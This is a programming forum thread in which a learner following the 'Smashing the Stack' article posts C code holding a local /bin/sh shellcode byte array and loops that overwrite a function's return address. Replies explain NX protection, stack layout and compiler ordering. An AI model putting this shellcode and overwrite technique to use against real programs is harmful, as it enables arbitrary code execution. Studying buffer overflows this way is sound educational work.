Thread: Sometimes segfault, sometimes not

  1. #1
    Registered User
    Join Date
    Jul 2007
    Posts
    186

    Sometimes segfault, sometimes not

    I have a simple code example that I'm following from the Smashing the Stack article on buffer overflows. I can overwrite the return address, but when it actually returns it segfaults.

    Unworking Version:
    Code:
    char shellcode[] =
    	"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    	"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    	"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    	"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
    
    void function()
    {
       int *ret;
       ret = (char *)&ret + 8;//11 in main
       printf("return address is %x\n",*ret);//correctly prints return address
       printf("shell code located at %x\n",&shellcode[0]);
       (*ret) = &shellcode[0];
       printf("If I get here it means my problem is in returning, not in touching the pointer\n");
       printf("Trying to return to address: %x\n",*ret);
    }
    
    void main() 
    {
    	function();
    }
    This version prints out everything its supposed to. The address it tries to return to is the address of the first block of the shell code.

    Working version:
    Here's a simple version that does work for comparison but doesn't do any shell coding, it just skips a line
    Code:
    void function(int a,int b, int c)
    {
    	char buffer1[5];	
    	int *ret;
    	ret = &buffer1[13]; //-4 stack pointer
    	(*ret) += 7;
    }
     
    void main()
    { 
    	int x;
    	x=4;
    	function(1,2,3);
    	x=1;
    	printf("%d\n",x);
    }
    Can the compiler tell that I'm trying to point my memory to something in data segment rather than something on the stack? Is there a way to tell if its a problem with the assembly code in the array?

    Thanks

  2. #2
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    I tried the code in ubuntu and it worked so it can't be bad assembly instructions. Maybe the different version of linux (I think I was using red hat) didn't like what I was trying to do, and Ubuntu didn't care.

  3. #3
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    Maybe you have a version of Linux that actually enables the NX (No Execute) bit enabled - which prevents overflowing code from exuecuting when it's not in a "allowed to execute" memory section (e.g. on the stack).

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

  4. #4
    Complete Beginner
    Join Date
    Feb 2009
    Posts
    312
    Matsp is most probably right. You can find out whether the NX bit is set by looking at the "flags" line of /proc/cpuinfo. Note that not all host environments meet the requirements to support the NX bit, even if the kernel claims to do so. On the other hand, there may be other preventive measures which may not necessarily be detectable by ordinary users.

    On my Ubuntu, your program perfectly opens a new shell.

    In case you understand written German, I can provide you with a plethora of tutorials which are far better than "Smashing the Stack for ..."

    HaCk ThE pLaNeT!!!11,
    Philip
    All things begin as source code.
    Source code begins with an empty file.
    -- Tao Te Chip

  5. #5
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    Unfortunately I don't understand a word of german but any information would be helpful.

    I tried /proc/cpuinfo on my Ubuntu installation but I got a command not found.

  6. #6
    Registered User Maz's Avatar
    Join Date
    Nov 2005
    Location
    Finland
    Posts
    194
    cat /proc/cpuinfo

  7. #7
    Officially An Architect brewbuck's Avatar
    Join Date
    Mar 2007
    Location
    Portland, OR
    Posts
    7,396
    Returning directly into the data area is not going to work, since the data area is not executable. If I went into any more detail I'd basically be telling you how to write a stack smashing exploit and I'm not going to do that (forum rules and all...)
    Code:
    //try
    //{
    	if (a) do { f( b); } while(1);
    	else   do { f(!b); } while(1);
    //}

  8. #8
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    Thanks. I did cat /proc/cpuinfo on my Ubuntu installation and did indeed find nx under flags. Doesn't that mean the nx bit is set? So technically my code SHOULD NOT work because that bit is set...even though it does.

  9. #9
    Officially An Architect brewbuck's Avatar
    Join Date
    Mar 2007
    Location
    Portland, OR
    Posts
    7,396
    Quote Originally Posted by jcafaro10 View Post
    Thanks. I did cat /proc/cpuinfo on my Ubuntu installation and did indeed find nx under flags. Doesn't that mean the nx bit is set? So technically my code SHOULD NOT work because that bit is set...even though it does.
    Non-executable stack is a weird thing. The stack actually has to be executable in certain situations (for one thing, signal handling depends on it), so the NX bit does something a little more involved than just making the stack non-executable.

    Again, I'm being purposefully vague.

    EDIT: Besides, the NX bit would not affect your specific example, since you are not writing code to the stack, you are just altering a return address, something which is still possible with stack-hardened implementations.
    Code:
    //try
    //{
    	if (a) do { f( b); } while(1);
    	else   do { f(!b); } while(1);
    //}

  10. #10
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    That makes sense. So then to figure out why I'll segfault in my red hat version and not in my ubuntu version, just by changing the return address, is there another flag I should check for?

  11. #11
    Officially An Architect brewbuck's Avatar
    Join Date
    Mar 2007
    Location
    Portland, OR
    Posts
    7,396
    Quote Originally Posted by jcafaro10 View Post
    That makes sense. So then to figure out why I'll segfault in my red hat version and not in my ubuntu version, just by changing the return address, is there another flag I should check for?
    I think the difference between platforms is due to the compiler. You are computing the return address by taking the address of a local variable then adding 8 to it. The stack is normally arranged like this:

    param3
    param2
    param1
    return addr
    prev_ebp
    local1
    local2
    local3
    ...

    So the address of the first local var, plus 8, gives the return address, ONLY IF there is nothing else on the stack between local1 and prev_ebp. The compiler is not guaranteed to arrange the stack in this way. You should not rely on what the stack look like anywhere beneath the return address.
    Code:
    //try
    //{
    	if (a) do { f( b); } while(1);
    	else   do { f(!b); } while(1);
    //}

  12. #12
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    Yea I figured that out by declaring more than one buffer. The compiler rearranged there order on the stack.

  13. #13
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    I've made a little progress and I think I'm starting to understand things.

    Here's my working version:
    Code:
    void function()
    {
    	//Ubuntu 8.10
    	int *ret;
    	char i;
    	for(i=0;i<=12;i++)
       	{
    		ret = (char *)&ret + i;//8//11 in main
       		(*ret) = &shellcode[0];
    	}
    }
    However I happen to know that the return address is at 12 so overwriting things before the return address doesn't seem to affect the output.

    If I make this change:
    Code:
    	for(i=0;i<=11;i++)
    This causes a segfault. My guess is because if I try and write a 32-bit address at byte 11, it will flow into bytes 12,13,14 which are part of the return address. This means that I need to do it in multiples of 4.

    Code:
    	for(i=0;i<=100;i=i+4)
       	{
    		ret = (char *)&ret + i;//8//11 in main
       		(*ret) = &shellcode[0];
    	}
    This code works. I tried making it go to 1000 but it just hung. Probably because I overwrote my data segment.

    This also works:
    Code:
    	for(i=0;i<=100;i=i+1)
       	{
    		ret = &ret + i;//8//11 in main
       		(*ret) = &shellcode[0];
    	}
    So far so good. The only curious thing is, this whole process has to be in a seperate function. The return address that gets overwritten is the return address to main. If I try and write this in main without calling a function, what's the return address I'm overwriting? Is there one? I ask because, when I try and do it in main, it doesn't crash or segfault, it just seems to exit successfully without calling my shell code.
    Last edited by jcafaro10; 04-07-2009 at 12:55 PM.

  14. #14
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    The main function certainly has a return address. Where it is located is of course a slightly different matter.

    I would also say that if you modify your return address to point at the char-array "shellcode", then if the NX bit is enabled, it would seg-fault your code, since shellcode is located in "data", which shouldn't be executable.

    Edit: It may also be that you are overwriting something critical within main that is causing a crash before you even get to modifying your return address. Where/how are you returning from main?

    --
    Mats
    Last edited by matsp; 04-07-2009 at 01:06 PM.
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

  15. #15
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    I'm not returning anything. My main method is just:
    Code:
    void main()
    {
       function();
    }
    As for the nx bit. I did cat /proc/cpuinfo and saw that the nx bit IS there. What that means, I don't know. If the nx bit is enabled I shouldn't be able to do things that I'm able to do. Doesn't make sense.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Segfault with Linked List Program
    By kbrandt in forum C Programming
    Replies: 1
    Last Post: 06-23-2009, 07:13 AM
  2. Segfault with additional variable?
    By misterFry in forum C++ Programming
    Replies: 11
    Last Post: 11-12-2008, 10:55 AM
  3. malloc() resulting in a SegFault?!
    By cipher82 in forum C++ Programming
    Replies: 21
    Last Post: 09-18-2008, 11:24 AM
  4. use of printf prevents segfault!
    By MK27 in forum C Programming
    Replies: 31
    Last Post: 08-27-2008, 12:38 PM
  5. Segfault and Warning help
    By Uncle Rico in forum C Programming
    Replies: 1
    Last Post: 03-25-2005, 02:51 PM